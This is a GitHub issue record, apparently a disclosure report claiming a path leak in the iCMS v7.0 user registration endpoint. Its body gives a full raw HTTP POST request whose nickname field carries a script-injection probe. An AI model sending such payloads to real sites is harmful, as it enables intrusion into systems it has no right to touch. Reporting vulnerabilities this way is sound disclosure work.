{"action":"opened","issue":{"url":"https://api.github.com/repos/idreamsoft/iCMS/issues/16","repository_url":"https://api.github.com/repos/idreamsoft/iCMS","labels_url":"https://api.github.com/repos/idreamsoft/iCMS/issues/16/labels{/name}","comments_url":"https://api.github.com/repos/idreamsoft/iCMS/issues/16/comments","events_url":"https://api.github.com/repos/idreamsoft/iCMS/issues/16/events","html_url":"https://github.com/idreamsoft/iCMS/issues/16","id":308346028,"number":16,"title":"Path leaks exist at the idreamsoft iCMS v7.0 user registry","user":{"login":"Yxxxxxxxxx","id":37363397,"avatar_url":"https://avatars0.githubusercontent.com/u/37363397?v=4","gravatar_id":"","url":"https://api.github.com/users/Yxxxxxxxxx","html_url":"https://github.com/Yxxxxxxxxx","followers_url":"https://api.github.com/users/Yxxxxxxxxx/followers","following_url":"https://api.github.com/users/Yxxxxxxxxx/following{/other_user}","gists_url":"https://api.github.com/users/Yxxxxxxxxx/gists{/gist_id}","starred_url":"https://api.github.com/users/Yxxxxxxxxx/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Yxxxxxxxxx/subscriptions","organizations_url":"https://api.github.com/users/Yxxxxxxxxx/orgs","repos_url":"https://api.github.com/users/Yxxxxxxxxx/repos","events_url":"https://api.github.com/users/Yxxxxxxxxx/events{/privacy}","received_events_url":"https://api.github.com/users/Yxxxxxxxxx/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-03-25T12:34:08Z","updated_at":"2018-03-25T12:34:08Z","closed_at":null,"author_association":"NONE","body":"Path leaks exist at   the idreamsoft iCMS v7.0 user registry and can view the root path by  constructing paylod。\r\n\r\nPaylod：\r\nPOST /iCMS-7.0/public/api.php?app=user HTTP/1.1\r\nHost: 192.168.126.129\r\nContent-Length: 168\r\nAccept: application/json, text/javascript, */*; q=0.01\r\nOrigin: http://192.168.126.129\r\nX-Requested-With: XMLHttpRequest\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nReferer: http://192.168.126.129/iCMS-7.0/public/api.php?app=user&do=register\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=37bk8eti3h5ref0q31q4tbfgh1; iCMS_admincp_seccode=396eae1aZaYvy5gcqqmRViSRzZdh3qbtq7h%252BhXHYUvYepPYF; iCMS_seccode=a3db47f6Cl6k4t%252BnnVEl%252FNmn2Ajp%252Ff6Eu2J3l7N%252FCXrIGV2x\r\nConnection: close\r\nusername=1233%40qq.com&nickname=\"><script>alert(1)</script>gender=girl&password=123456&rstpassword=123456&seccode=VUWY&agreement=1&register_seccode=true&action=register\r\n\r\n![image](https://user-images.githubusercontent.com/37363397/37874991-7ec72a8c-306b-11e8-9e59-fa988191fc09.png)\r\n\r\n\r\n"}}
{"actor":{"display_login":"Yxxxxxxxxx"}}